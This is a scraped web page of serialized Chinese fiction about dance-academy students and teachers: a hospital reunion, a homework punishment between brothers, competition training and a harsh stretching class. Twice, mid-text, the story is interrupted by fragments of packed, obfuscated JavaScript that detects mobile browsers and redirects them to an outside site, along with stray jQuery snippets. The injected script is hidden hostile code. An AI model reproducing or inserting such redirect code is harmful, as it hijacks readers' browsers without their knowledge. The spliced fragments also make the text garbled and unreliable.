他从不知道,世上会有这样的感受。他好像听得见、也“看”得见,好像周围的一切都能感知得一清二楚,却就是、动不了。哪怕使出再大的力气,都仿佛是用错了地方,又或者是被一股无形的力量化解去,最后徒劳挣扎的,只是脑海中意识。 陶乐钦几乎被逼到崩溃边缘,只觉得梦里满是自己大声的吼叫和疯狂的挣扎。 然而一瞬间……所有的束缚却都消失不见了。陶乐钦猛地睁开眼睛,脑海中震耳欲聋的尖叫霎时归于平静。眼前的浓雾渐渐散去,映入眼帘的,是一片苍白的墙面。 陶乐钦僵硬地咽了下口水,胸口依旧泛着短促的起伏。余光里,仿佛看到个高大的身影,他缓缓侧过头,只见孔爵正站在床边,一手按着他手臂,一手扶着从架子上悬下来的输液管。 孔爵…… 陶乐钦哑着嗓子轻轻念了一声,心蓦地沉了下去。他许久许久不曾这样深深的失望过了。原来,没有老师,没有宽厚的肩膀,一切一切的久别重逢,都只是他荒唐的一梦。是他糊里糊涂地,把孔爵当成了老师。他很想闭上眼睛,希望这一切都是假的,再睁开眼睛时,能看见站在床侧的人是老师。可又怕一旦闭上眼睛,就又会陷入那可怕的梦魇中,怎么也醒不过来。 “醒了就别乱动了,回血了还要麻烦。” 孔爵带着些许不耐烦的声音从头顶传来,陶乐钦下意识地瞟了眼自己粘着管子手背,慢慢撑着坐了起来。本来有一瞬,他还担心认错人的自己跟孔爵说了什么,不过仔细想想,也不重要了,反正他也看不惯自己,反正……自己也不在乎他怎么想。 因为一边手臂不好使力,陶乐钦撑的摇摇晃晃。孔爵却好像没看见,只自顾自地坐回凳子上,翘起二郎腿,掏出手机不知道在看些什么。等着陶乐钦磨磨蹭蹭地总算靠着枕头坐稳了,他才没好气地朝一边挑了挑下巴,“床头有水,自己拿。” 低血糖、电解质流失、外加休息不足,这种摆明了是自己作出来的病状让原本就对陶乐钦毫无好感的孔爵更加不待见起来。 陶乐钦扭过头,果然看见床头柜上立着一瓶矿泉水,盖子已经被拧开,虚虚地扣在上面。陶乐钦微微一愣,将水瓶拿在手里,过了半晌,才朝着兀自认真看着手机的孔爵动了动嘴唇,“谢谢”。 孔爵撩起眼皮看他。大概是因为病着,身上不见了平日里的那股傲气。这会儿捧着水瓶恹恹地出神,倒是一副人畜无害的样子。 “如果以后排练的时候也是这个状态,那这个舞剧,你趁早别接。” 突如其来的一句甩到面前,半晌,陶乐钦才茫然地抬起头,一时没辨出话里的意思。而眼前的孔爵,还是懒懒地靠着椅背翘着腿,好像全副精神都在手机上,好像方才什么都没有说。陶乐钦盯了片刻,便默默收回目光,继续望着床尾光秃秃的桌板,一言不发地发着呆。 手机上播放着萧泽发过来的几个为舞剧编排的小片段,孔爵看完一个,退回目录的功夫,才陡然发觉耳边安静的反常。照着陶乐钦的性子,方才自己那话说出去,他怎么着也该扔回两句跟自己较劲才对。怎么转性了? 孔爵抬眼,看见陶乐钦的样子不禁微微一怔 — 失魂落魄,大概只能用这四个字来形容了。原本总是带着锐气的双眼失了焦距,像挂了层霜,神色看上去既麻木又失落,甚至还带着些隐隐的……哀戚。 孔爵从没在陶乐钦脸上见过这个表情,仅有的几次交道下来,没有一次不把他气得脑仁发胀的。可是回想到他之前梦话里喊的名字,和醒来时第一眼的失望,孔爵大概猜到了些他的误会。 “小叔——你老师,出去补诊费了。” 自己本来要替小叔叔去的,可他非说还有别的事情,这一去,半个小时还没回来。 “老师?!” 还没等他说完,陶乐钦已经喊出声来。孔爵回过头,正见小叔叔拎着个塑料袋子进来。 “记得原来医院西门出去有个凤鸣粥铺的,阿乐一直空腹,喝点粥养胃。” 这话是对着孔爵说的,可说到最后一句,陆海言已然看向了病床上的陶乐钦。身上还穿着单薄的练功服,瘦削的肩膀,苍白的面色,和那双怔怔望着的眼睛,让人觉得说不出的怜惜。 那样殷殷的眼神,那样呼之欲出的情绪,孔爵顺着小叔叔的眼神望过去,看在眼里,心头陡然震动。有那么一秒……他仿佛懂得他的心情,仿佛心疼他到底还是孩子,什么,都能被原谅。 “咳,” 他突然站起身,整了整情绪,“我先走了,思思还在练功房等。” 陆海言点点头答应,将他送到门口,孔爵从兜里掏出车钥匙塞给了他。还不等拒绝,孔爵就朝屋里偏了偏头,“这个样子,还背回去啊?” 陆海言不禁轻声一笑,将钥匙揣到兜里。 陶乐钦的目光黏在了陆海言身上——他盯盯地看着老师从门外回来,忙前忙后,把小桌板用消毒纸巾擦过,把粥碗和纸巾摊开,连着桌板一起推到自己面前…… 老师离自己那么近,那么真实,好像又能闻到他身上那熟悉的气味。 “别掐了,是真的。” 一把塑料勺子突然递到眼前,陶乐钦吓了一跳,忙不迭地从被子下抽出手接过来,拇指上,自己抠出来的痕迹格外殷红。“先吃点东西”,陆海言看在眼里,只安抚地在他肩膀上拍了拍。 鲜香的花胶鱼片粥,一勺勺喂进嘴里,却食不知味。陶乐钦埋着头,忍不住抬眼偷偷去瞄身前的人。他不敢光明正大的瞅,只怕四目一交接,不知道该说些什么。七年太久了,久到这么多年因为想了太多,念了太多,骤然见面,竟不知道从何说起。 “您……一直都在首都吗?” 勺子在粥碗里打着圈,陶乐钦咬着嘴唇,问出了第一句。 “不,前几天才从蒙特利尔回来。” 陆海言微微笑着,“听孔爵说你考到了舞院来,所以来看看你。哦,对,孔爵是我的侄子,你大概还不知道吧。他其实也是见了面才知道,你口中的老师就是我。” 孔爵、老师……陶乐钦愣了片刻,不禁也略带自嘲的牵起嘴角。从前总觉得世界这样大,大到一个人离开,就好像水滴流入大海;可有时,世界偏偏又那么小,冥冥中,有些人,有些事,好像都出现的有理由。“您在蒙特利尔见到约定的人了吗?” “见到了。” “是——师母吗?” 脱口就问了出来,陶乐钦有些不好意思地挑了挑眉。 一个细微的表情,恍如又看见了当年小田切家别院里的那个孩子,陆海言脸上的笑意也明朗了些。“是。” ———————————————————————————— 桌面上摊放着厚厚练习册,展开的页面上,是一整片的空白。钟彦承坐在桌前,盯着看了片刻,不禁苦恼地用额头磕着练习册。哎……怎么就没发现呢? 伴着一声轻微的门响,二楼走廊里传来隐约的说话声。彦承连忙踮着脚蹭到门边,将耳朵死死贴到了门上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239542|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “让老师费心了……” “您放心……是……我会监督他……” “……都是为了孩子……” “是……我明白……” 脚步声渐行渐远,彦承知道他们已经下了楼,便蹑手蹑脚跑到二层楼梯口,趴在栏杆上偷偷地向楼下望去。 “这是今年朋友帮忙收上来的新茶,您也尝尝。” 送到大门口,钟彦霖将手里的小袋子递给前来补习的物理老师。老师自然是一番推辞,连说着上次送的还没喝完。“白茶好喝新的,您换着喝……” 几番来去,老师还是收下了袋子。钟彦霖站在门口,一直看着老师的车子出了前院才回身进屋来。不轻不重“砰”的一声,显得整个房子突然安静的过分。彦承趴在楼梯口,一半愧疚一半害怕,突然觉得哥哥好像有意无意地朝自己这儿瞟了一眼,当下不禁心头一紧,吓得头皮发麻,连忙三步并作两步的重回房间,将房门死死关在身后。 别过来别过来别过来……彦承靠在房门上一遍遍地念叨着,却分明听见从楼梯上来的脚步声越来越近。心几乎跳到了嗓子眼,彦承不禁掩耳盗铃地闭上眼睛,希望这一切都是幻听。 “是我。” 规律的三下敲门声,震的彦承一机灵。 “哎~~!” 颤着声答应了,深吸了一口气,心却反而定了几分:大概是“死”到临头,反而释然了吧。 唉……彦承苦着脸,打开门,看见门前高大的身影,不禁低下头,乖巧地叫了一声哥。 弟弟这副“霜打的茄子”样,倒让彦霖看的一笑。他收起笑脸,轻声清了清嗓,“堵在这儿是不让我进来了?” “啊没有没有”,彦承连忙退开将哥哥让了进来,又跟在身后把乱扔的衣物拾掇了两件起来。彦霖只当没看见他忙活,转身在沙发坐了,“物理作业拿过来看看。” 只这一句,倒真像是个闪电彻底把彦承劈死心了,他本来还心存希冀地以为,也许老师和哥哥只是循例谈谈自己的学习呢? 一本练习册而已,拿到手里却是沉甸甸的。翻到最新折角的那几页,几乎都是白花花的空白,一页半的选择题做完了,大题只做了一道。彦霖饶有兴趣的去看那道大题,只有一个“解”字写的工工整整,第一行开始歪七扭八,第二行,简直已经是鬼画符了。脑补着弟弟打着瞌睡写作业的样子,彦霖不禁又是心疼又是好笑地牵起嘴角。 彦承从旁站着,从把练习册递给哥哥开始就一直惴惴不安,这会儿看着哥哥一会儿皱眉一会儿微笑的样子更是心里没底。 作业本啪的一声被合上,彦承又是一机灵。彦霖向后靠在沙发背上,看着眼前的弟弟,“第几次了,自己说。” 犯过的错误就不要再犯,萧叔萧婶也好,哥哥也好,这一条要求都是一样的,比事不过三更严格。可……这的确已经是第三次没写完家教老师留的作业了。“因为你的情况特殊,老师们不会拿题海战术来教你。留给你的作业都是压缩到不能再压缩,那最后剩下的,就一定是非做不可的。” 彦承垂着头,脑海里回响起前两次哥哥对自己说过的话。那两次,自己主动交出了周末的休息时间,又多做了两倍的习题,哥哥说过,再有下次,就打了。 犯错该挨的打,他不怕,也不妄想逃避。可现在,他怕挨打—— “第三次了……” 彦承用牙齿摩挲着嘴唇,终于狠狠心把话说了出来,“但能这次能不能不打。因为……练舞的任务真的很重,挨了打……耽误练舞也耽误学习。” 话说了一半,彦承的脸已经全红了,他头越垂越低,不敢看哥哥的眼神,“这次能不能还是像以前一样,我多补上三套题,等考学完了,您再打回来。” “打你是为了督促你学习,你都考完了,我还打你干嘛?” 彦承被反问的一愣,一时也不知该怎么回答。看着弟弟窘迫可怜的样子,彦霖不禁笑着叹了口气,不再难为他。当哥哥的,又怎么会不知道他定是累极了才写作业写到睡过去。彦霖站起身,拎着练习册照着他屁股来了一下,跟着扔到了他怀里。“这次照你说的办,别再有下次了啊?” 哥哥的手指在自己肩窝点了点,彦承抿着嘴重重点了点头。 45. 重逢III 城市的夜幕渐渐拉下来,急诊室的灯光依然亮如白昼,医患往来,与白日一样嘈杂。陆海言转了圈头,活动着有些僵直的肩颈,病床上,陶乐钦难得睡得深沉。早先大夫说人醒了就没什么事了,但最好还是观察一下午。陆海言叫孔爵托人去学校请了假,就一直陪到了这个时候。 ——————————————— “现在的你需要休息。” 话匣子打开了的陶乐钦仿佛有问不完的问题,护士过来拔点滴,他还嫌人家挡着,急切地歪着身子探出个头来,直接忽略了陆海言叫他睡一觉的事情。“所以说,您不走了……会一直待在首都了?” 几乎是闪亮着的黑眼珠,衬得疲惫晦暗的脸色都明朗了几分,陆海言看着他这个样子,不禁笑了,略带无奈地点了点头,“是,我不走了。所以你有很多时间可以问我问题。现在你得睡一会儿,看看你那个黑眼圈。” 陶乐钦抿着嘴固执地摇了摇头,强压着心中的激动。他不想睡,更怕的是,一觉醒来,谁知道又会发什么,万一这又是自己的一场梦…… “睡吧,睡醒我还在。” 沉稳的声线裹着这几个字,一下子冲进心里。陶乐钦一怔,眼圈瞬间就红了,他连忙低下头,想要藏起已经湿了的眼睛。相处六个月,分别七年,老师从没说过这样的话…… 薄薄的被子轻轻一扬,陶乐钦矮下身子躺了下来。背对着老师,被子蒙到头上的瞬间,能感觉到有什么热热的东西顺着眼角流到了枕头上,他死死咬着嘴唇,忍着几乎压抑不住的啜泣。 我还在。 老师一定不知道,这对他,是多温暖,多有分量的三个字。他也不知道自己哭了多久。只是,心一直砰砰乱跳的、原以为无论如何都睡不着的他,眼皮竟渐渐的沉下来,就那样,睡着了。 ——————————— 睡着的阿乐,在床上将自己蜷成一团。陆海言想到下午他藏在被子里偷偷抹眼泪的样子,心头不禁泛起淡淡的酸。按着这小子现在的性子,心里该是压了多少情绪啊,才逼得藏都藏不住了。 床上的身影猛地一震,眼前的人像是被噩梦惊醒般,一下子睁开眼睛。可是目光跟自己对上的瞬间,紧皱的眉头便舒展开,脸上,也蓦地绽开了一抹笑容。陆海言也跟着他牵起嘴角,朝窗外偏了偏头,“天黑了,回家吧。” 医院离舞院并不远,陶乐钦坐在副驾,闷闷不乐地摆弄着衣角——他希望这段路能更长一点… “那师母没跟您一起回来吗?” 陆海言淡定地打着方向盘,“嗯,她没回来。” 老师说过他待在首都不走了的,师母却没有回来……陶乐钦大概猜到了些什么,没有再问下去,只是望着车窗外飞速闪过的街景,期望着车子开得慢一些,再慢一些。 车子终于还是在学校旁边的小路上停下,陆海言熄了火,准备下车,“走吧,送你进去。” “不,不用了。我没事的。”陶乐钦拉住他胳膊,有些欲言又止。就算送到了宿舍口,也还是要说再见的,可下次,能什么时候再见面呢。老师,还会教他吗…… “您——” “我还有些日子才开始上班。后天中午你没事的话,咱们一起吃个饭?” 老师……就好像有读心术一样,陶乐钦微张着嘴,反应了半天,才忙不迭地点着头。陆海言极少看见他这样呆呆的样子,忍不住伸手在他额头上弹了一下,“手机拿出来。” 上次被老师这样弹脑门,自己还是个小孩儿,陶乐钦脸上一红,连忙掏出手机,耳边老师已经开始在念数字了。飞快地打下号码,他盯着屏幕又不禁发了愣,难得平静下来的情绪,又小小的波动起来。好一会儿,他才在姓名那栏郑重的打下“老师”两个字。 衣袋里的手机微微一震,陆海言掏出手机来,屏幕上亮着一串陌生的号码和几个小字: 老师,是我。 ----------------------- 夏季的天总是亮的格外早,三伏也正是暑气最浓的时候。一大清早才绕着操场慢跑了两圈,身上已经浮了厚厚一层汗。林晓希低头看了眼表,差十分七点。跑完这一圈,吃个早饭洗个澡,估摸着七点四十能到教室,正好提前20分钟热热身。 周六本来就没什么人起大早,又正是暑假,晓希走去教室的路上,竟然一个人都没看见。 今天是正式备赛的第一天,学校的夏令营还有一周就结束了,他也被批准最后一周可以跳掉所有非专业的课,专心备赛。 他不知道学校有多看重一份金奖,但这一场比赛的分量,在他心中,太重了。他可以置气地说不想参赛,自己凭什么要向别人证明实力?然而内心深处,他太知道自己真正需要的,恰恰就是拿回这一尊金奖,回应那些流言蜚语一记响亮的耳光,让所以质疑的人知道学长和文导没有看错人。 于是一想到这些,肩头就好像负了千斤重,压得人喘不过气来。晓希深深咽下一口气,又长长地呼出来 --- 也许是从前的成绩都来的太顺遂太理所当然,他从不知道,自己对胜利的渴望会那样强烈。 有些出乎意料的,离约定见面的时间还有二十几分钟,刘老师已经在教室里了。她一边喝着酸奶,一边在镜前琢磨着动作,晓希一眼就看出来,是这次比赛的编排,但这喝酸奶的随性模样,与平时课堂上倒是很不一样。 “来了?”,一个转身的动作,刘茹佳正看见在门口的林晓希,便招手让他进来。她倒是不奇怪林晓希这么早到,毕竟是尖子生,又跟了文导和萧泽这么久,要是这点自觉都没有反倒叫人奇怪了。 晓希放下东西,很快就换好了鞋,一边应着一边到把杆旁活动着。一个夏令营下来,他跟刘老师已经算是熟悉,知道她一向没什么废话,一踏进她的教室就找好状态比什么都重要。 “我定的时间已经给你算了热身进去,以后按时到就行。备赛期间比较辛苦,保证休息很重要。” 刘茹佳停了音乐,坐到一旁的练功凳上喝酸奶。眼前的林晓希认真答应着,轻轻压了两下肩,双臂已经从身后环到身前来。 刘茹佳不经意地点了点头,“作品大体自己练过了吧,等会儿带你过几遍,上午唐老师过来帮忙看看。” “哦”,这次晓希不禁微微一愣,手上的动作也跟着迟疑了一下 --- 今天才第一天排练,动作还没完全成型,倒是没想到这么快就叫别的老师来把关。 刘茹佳自然明白他疑问,“唐老师下午就带团出国演出了,到你比赛都不一定能回来,所以走之前要过来看看。” “嗯,明白。” 唐骁一直在大学和舞团那边,晓希对他不很熟悉。唯一一次照面是从前参加附中自己办的比赛时,唐老师是台下的评委;再有就是……他倒也听郑钦提过唐老师是刘老师的男朋友……不过他还没八卦到这时候提起这种事。 “来吧,先来一遍。” 看着林晓希活动地差不多了,刘茹佳便起身去放音乐,“放开了跳。” “嗯”,晓希点点头走到房间中间,听着音乐响起,便立刻一个转身,起舞。刘茹佳绞着手臂在镜前静静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从一个小高(*)潮转入慢板的节点处,林晓希稳稳当当地停了下来;多年“抠动作”的习惯,老师叫停的地方,都要维持住上一个动作不变。这对晓希来说不是难事,然而相称之下,胸口明显的起伏就变得格外引人注意起来。都不用去看镜中的自己,晓希已经能想象的到,空旷的房间中央,他努力定格着动作,全身却都不可控地跟着短促的呼吸上下起伏的样子。 他大概猜到了刘老师的用意。 果然,不出两秒,刘茹佳便按停了音乐,“加体能吧,喘成这样,太影响意境了。” 林晓希点点头,什么也没说。这样长度,这样强度的舞蹈,一遍半跳下来,不喘。不是天方夜谭,也是强人所难了。但他明白,这不是刘老师的下马威,也不是什么刁难,想要赢得毋庸置疑,哪怕是“吹毛求疵”,他也必须强’自己’所难。 ———————————————————————————— “男宾一位!左转里面请!” 陶乐钦领过手牌的一瞬间,大堂的服务生们鼓足了嗓门来了这么一句,吓得他不禁一缩脖子,红着脸快步闪进了更衣室。埋头在练功房里扎了一上午,出来才发现校园里洗澡的地方都停了水。他可不想一身汗臭的去见老师,搜了半天,时间允许的范围内只有这么一家算是“高级”的洗浴中心。不过这一声吼完,他估计是再也不会回来光顾了。 为了“速战速决”,陶乐钦找到衣柜就匆匆换下衣服,只简单几个动作,腰腿就瞬间被唤醒了般地酸痛起来。 这几天里,从不爱练功的他,却玩命地练了起来。他也说不清为什么,明明告诉自己不在乎孔爵的想法了,明明老师已经说了不再跳舞了,可心里就是憋了一股劲儿。他怕老师失望,万一老师还是愿意教自己的……就算不,老师总还是会看到他跳舞的,万一他和孔爵一样,喜欢“功好”的孩子……他怕……那个曾在樱花树下对他毫不嫌弃的老师,会失望。 强劲的水流从头顶冲下来,陶乐钦合上眼睛,将头仰向花洒。 其实还有孔爵,就算不愿意承认,可他还是想在他面前证明自己。怎么在他眼里,自己就那么一文不值。日本青少年大奖赛的金奖,在他眼里就没有一点价值?他那个小徒弟都能做到,他怎么就不行。再者,如果真的接了舞剧,和孔爵那么多的双人舞,他不能,被看扁。 46. 番外II 来者知可追 (上) 新学期开始已经一周了。 刚刚结束的周末,大家都没敢歇。毕竟老师们都知道学生肯定是散漫了一整个寒假的。所以学期一开始,就乘着春暖花开、万物复苏的节奏,好好地给他们上了上发条。 乐无弋倒没觉得一时适应不过来,反正他寒假里每天都练功的,连跟妈妈在外面度假的那些天都算。二年级的第二个学期了,他对自己的目标有了更清晰的认识。 “阿姨,要一碗豆浆,一个茶蛋,两个花卷。” 乐无弋在食堂门口等了半天也没等到宋睿,只好先进食堂打早饭。宋睿是一班的,自从开学典礼上认识了就跟乐无弋形影不离,平时便总跟他们二班一起混食堂。 ”宋睿呢?” 看着乐无弋自己端餐盘走过来,其他同学还有点不习惯。“我也正找他呢,但好像一班的人都没来。” 大家又四处张望了一圈,好像还真是这么回事。 “小乐乐——!” 大家话音都还没落,就听见有人懒着声音扯脖子喊了一声。乐无弋不自觉皱了皱眉,回头果然看见宋睿白着脸挪腾着步子进来,一副直不起腰的模样。“怎么了?” 宋睿一屁股坐下就抓起乐无弋盘子里的花卷吃,好像一个字都不想多说。总算等着嘴里的一大口咽下去,才有气无力地抱怨着,“我们班早功不好,还有人打架了,给钟老师值班撞见,就发火了,全班罚功。” “你们班胆儿真大,早功也敢闹。” 满桌的二班都不禁咂了咂舌,二年级就赶打架还敢在早功的,真是勇敢的前无古人后无来者。乐无弋却突然想起来什么似的,“钟老师?哪个钟老师?” “还有几个钟老师,你们班的钟少啊!” 我们班主任钟少?这会儿大家更惊讶了,钟老师出了名的脾气好,真看不出能发这么大的火。 “真的…”,宋睿风卷残云地吃完了乐无弋的早餐,“虽然不大声骂大声喊,但……挺吓人的。罚功下手也狠,好几个人都哭了。” 啊……几个人四下看了看,果然看到一班的学生陆陆续续地走进来了,个个都看着无精打采的,还有几个的确眼睛红红的。 哎……宋睿故作老成的拍了拍乐无弋的肩膀,“你自求多福吧。钟少这么爱盯你,你上课可别触他霉头。” 乐无弋不以为意地挑挑眉,“先给我再买份早饭去!” —————————————————— 钟老师拎着名册走进教室的时候,十几个半大小子已经在房间中央站好了排。明明离上课还有五分钟,看着他们规规矩矩的样子,他忍不住低头偷笑了下,这消息传的可够快的了。 “都这么着急上课啊,那先点名,顺便等等钢伴老师。” ”艾星!“ ”到!“ ”车小伦!“ ”到“ …… “王佑一!” “到” “乐无弋!” “到!” “张恒歌!” “到!” “好。先上把热身,老师来了就开始上课。” 孩子们呼啦一下散开,钟老师放下名册,挨个打量着他们。车小伦,不出意外,一个假期回来就胖了一圈,肚子上的小肉肉都呼之欲出了,勒令他减肥了一个礼拜,才勉强看得过眼些。王佑一,一如既往的不用操心,却还是内向不爱说话,听话的让人一句重话都不忍说。乐无弋……沉稳地不像是个十岁的孩子,而且他骨子里的那份坚定和淡然,跟某人特别地像。 想到这里,裤兜里的手机震了一下,钟老师滑开屏幕,一条信息蹦了出来,“今天排练会早结束,在家等你,想吃什么?” 真是想曹操,曹操到,只是看到置顶的名字,某人脸上的笑容就已经藏不住了。他手指飞快地点了几下,屏幕上跃然落下几个字,“洗干净等【奸笑】” 手机很快又震了一下,“晚上到练功房给你机会重说一次。” 嘶……险些忘了今天下班要让他帮看自己舞剧试镜的片段,明明知道这句威胁是开玩笑的,可是一想到那个人在练功房里难说话的样子,某人就不自觉的打了个冷颤。 “不好意思钟老师,路上出了点小状况。” 钢伴老师踩着上课铃走进教室,多年的敬业精神让她就算是跟比自己小二十岁的老师也认真道歉。 “没有没有,才打铃。” 钟老师连忙关了机,打起精神喊了一声”上课!“ 这是钟彦承在舞校任教的第二年,今年他二十一岁。 ———————————————————— 二十分钟把上,二十分钟把下,半大小子们的背心都湿了大半。听着钟老师叫大家把条凳都搬出来的时候,整个班都不禁苦了脸。于是三个练功凳纵向排成一列,随着老师的一个手势,孩子们分在两侧,齐齐左腿在前开始耗竖叉。 钟彦承绕着凳子踱着步,挨个纠正着动作。 “别一个个都顶着张苦大仇深的脸,都给我微笑。看外面花都开了,天也暖了,正适合给你们好好松松筋骨。” “开学第二个周我不为难你们,但我的标准跟你们说过了,到期末必须全员达标。” 时间过了约莫有五分钟,几个意志力不坚定的已经开始有小动作了,钟彦承看着差不多,就开始挨个给他们压腿。 “脚背和膝盖绷紧,后腿都给我转开。我的规矩,动一下加五分钟,反正咱们是上午最后一堂课,谁不想午休了就使劲儿动!” 第一个就是车小伦,全班年纪最小,出了名的小哭包,钟彦承才一跨上来他就紧张出了哭腔,“钟老师……我自己再耗一会儿,最后再到我好不好?” 钟彦承被他逗笑了,忍不住捏了捏他的小肉脸,“行了,躲得过初一躲不过十五,来吧,放松。” 说着,就一手扶着他肩膀一手压着他胯根往下按。车小伦立马抽噎起来,“疼,老师,疼……” “嗯,我知道,来吧,数五十个数,慢慢的数。 ” 这语气,简直像是哄小宝贝似的。 “四十八、四十九……五十——呃啊……” 光听声音就知道最后一下老师狠压了一下没松手,车小伦“惨烈”的哭声惹得其他人也起了一层鸡皮疙瘩。 “行了行了,耗住,不然等会儿还回来压你。” 钟彦承趁着他哭闹的时候又使劲儿按了几下才起身往旁边挪了个位置。一抬头却瞧见另一旁的王佑一动作已经走了型,他不禁皱了皱眉, ”王佑一,乐无弋,你们俩今天必须贴地,自己先往下下,别等我动手。“ 大多数人还刚刚只能下一个符合钟老师标准的竖叉,或者是仅仅只能超过平角一点点的时候,王佑一和乐无弋已经被要求这样可怕的难度了。车小伦一边抽搭着鼻子,一边怜悯地看着他们两个,心想还好自己不是老师看重的尖子生。 贴地……乐无弋想着自己还差着老远的距离,心里也没来由的一紧。虽说钟老师是出了名的好脾气,在课上却是少有的说一不二,今天肯定是不好过了。呼……他长长呼出一口气,身体也随之往下沉了沉。只这一下,腿间的撕扯就瞬间激烈起来。乐无弋下意识地要撑起身子来,肩膀上却不轻不重的落下个力道,他连忙抬起头,果然是钟老师。钟老师没说话,只是点在他肩上的手指微微使了使力。一根手指,能有多大力道,乐无弋脸上却突然一热,立刻就卸了手上的力道,人也往下沉了几分。钟彦承几不可见地点了点头,跳过乐无弋直接压下一个人。 为什么……总觉得钟老师对乐无弋跟对别人不一样呢。王佑一拄着膝盖从对面看着,不禁低下头撇了撇嘴。明明都是“尖子生”,可他总觉得钟老师根本不喜欢自己。哪怕自己比乐无弋表现的好,比他更能吃苦,钟老师好像也没有特别留意自己。想到这里,王佑一抬头看着钟老师已经走到这边来,不禁偷偷地把一直绷紧的脚背,松了松…… 一时没掌握好时间,剩下的任务有点紧,钟彦承就叫压完的孩子先去踢腿再回来换腿。排在越后面的,自然耗得时间越久。这种时候,留在最后的自然是王佑一和乐无弋。终于轮到王佑一,钟彦承一眼就瞟到他支棱的像个锅铲似的的脚背。“想压脚背了是不是?” 王佑一是班里软度最好的,这点要求一点不为难他,钟彦承直接上脚就踩到了地上。 “钟……钟老师……” 王佑一不知怎么地突然跟他顶起劲儿来。钟彦承还以为他拉伤了,立马松了力道,“不舒服?” “没……没有。” 王佑一头低低的,钟彦承哈下腰才听清他蚊子声一样的动静,“疼……” 这孩子,今天有点反常。 “去吧,去踢腿。” 前边压完的孩子已经踢了一圈腿回来,乐无弋还在耗左腿。额头上覆着厚厚一层汗,胳膊也开始打颤。钟彦承瞟了时间,狠狠心再次绕过他,直接到排头开始压右腿。路过的时候,伸脚踢了踢他胳膊,“手拿起来,让你耗的是腿,你做主练胳膊了?” 乐无弋一言不发,立刻把手搭到了膝盖上。只这一下,额头上登时流了两绺汗下来,顺着下巴滴到了身上。 钟老师不说还好,这一句说出来,大家才发现乐无弋到现在还没换腿,不禁都跟着倒吸了口凉气。钟老师不是把早上的气都撒到乐无弋身了上了吧…… 而这边王佑一还在一边扶着把杆踢腿,看看乐无弋,又看看钟老师,心里越发不是滋味。他从小就知道的,老师越是看重谁才对谁越严厉。钟老师……也许真的不喜欢他。车小伦压腿不听话,钟老师都会耐心哄他,自己不听话,老师好像却一点都不在意的样子……心里想着事儿,腿自然也踢的心猿意马。钟彦承压过一排转过身,正看着他水塌塌的动作,心里不禁升起一丝火气,却压着没有发作。 ——————— 下课铃响起的时候,正压到最后一个车小伦,还是一样哭唧唧,下半节课,这眼泪就没停过。钟彦承无奈地松开手,在他背上轻轻落下一巴掌,“这从一年级哭到二年级,怎么一点长进都没有呢,嗯?” “乐无弋和王佑一留下,其他人下课。” 总算是等到了这一句, “老-师-再-见!” 一堂课上下来,全班集体腿软,喊完这一句,就都忙不迭地溜出教室。 车小伦一边擦着眼泪一边一步三回头的往外走,心中不禁为两个“尖子生”捏了把汗。 闹哄哄地教室一下子安静下来,王佑一孤零零地在地中间站着,眼睛时不时地瞟一眼练功凳上的乐无弋。 哎,怎么一向听话的学生出起问题来这么要命。钟彦承长叹了口气,暗忖这个班主任真是难当。 “先过去耗腿,怎么耗你自己知道,刚才上课摸够鱼了?等会收拾你。” 王佑一被老师训的无地自容,只用力点了点头,自己去房间角落拿垫子。 钟彦承走回房间中央,摆成长长一排的练功凳上 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好像是看到了了年少时的自己,钟彦承轻叹了口气,趁着他分心的功夫,又往下压了点,“你是怕我啊,还是怕疼啊。别以为我不知道你们背后给我起的外号。‘乐少’一向这么酷,我以为你天不怕地不怕呢。” 大概是真疼的紧,这孩子又不愿意露怯,乐无弋咬着嘴唇,没有接话。 其实钟彦承知道乐无弋跟王佑一不一样,他根本不算是软的孩子,张恒歌,艾星都比他轻松。所以每次练软开都要特别”关注“他一下,也难为他都撑下来了。论条件,乐无弋不算是年级最好的,当老师的,也应该做到一碗水端平,不厚此薄彼。可钟彦承就是忍不住,总对他比别人严苛些。也许就是那两个字,”成全“吧。因为听说了他父亲的故事,知道了他心中为自己点的那一盏光亮,因为被他忍着眼泪的时候眼神里的执着所打动,所以就是想要成全他。 想到这里,几乎没什么缓冲的,钟彦承往前倾了倾身,把少年的腿根牢牢贴在地上。乐无弋一声没吭,双腿却止不住地抖了起来。“放松,数数,数出来!” 钟彦承站起身改用脚踩住,另一手伸到前面,压着他膝盖。 腿根的韧带好像被人生生撕开,胯间传来尖锐地酸痛。乐无弋猛地弓起腰,疼的咬不住嘴唇,眼泪也不知道什么时候涌了上来。他不敢开口,生怕一张嘴,眼泪就止不住了。何况不只是钟老师,王佑一也在房间里。 而钟老师今天,好像格外不近人情,他拽着手臂把乐无弋扳成张肩拔背的姿势,“数出声来,听见没有。” 乐无弋咬着嘴唇使劲儿摇了摇头,就是一声都不肯出。 “你什么时候数够五十个数,我什么时候让你起来。你自己想,是面子重要,还是腿重要?“ 钟彦承又怎么不知道小孩子好面子,可是叫乐无弋这么个忍法,真怕他憋坏了。 “一……” 终于是拗不过钟老师,乐无弋含含糊糊地数出第一个数,眼泪就止不住地留下来了。不是疼的,是心里第一次有了委屈,有了不甘。他恨自己不争气,连这点疼的熬不过,更委屈,他苦苦支持的这一条路,也许根本就没有意义没有结果。 哭出来就好了。 钟彦承松了一口气。有时候他真不知道,一个十岁孩子的心思怎么会这么重。他也开朗,也幽默,和同学也玩得来,可就是那张稚嫩的小脸上,总有着常人难以察觉的情绪,让人莫名地替他担心。 门口鬼鬼祟祟的闪过一个黑影,钟彦承眼睛一眯就知道是谁了,“宋睿!进来!” 乐无弋下意识的一慌,钟彦承安抚地拍了拍他肩膀,把他留了一脸的汗和泪都遮在了身后。 “钟老师……” 宋睿颤巍巍地走进来,一看王佑一和乐无弋这架势就小腿肚子就开始转筋,生怕钟老师一个不留意,也想“培养培养”他。 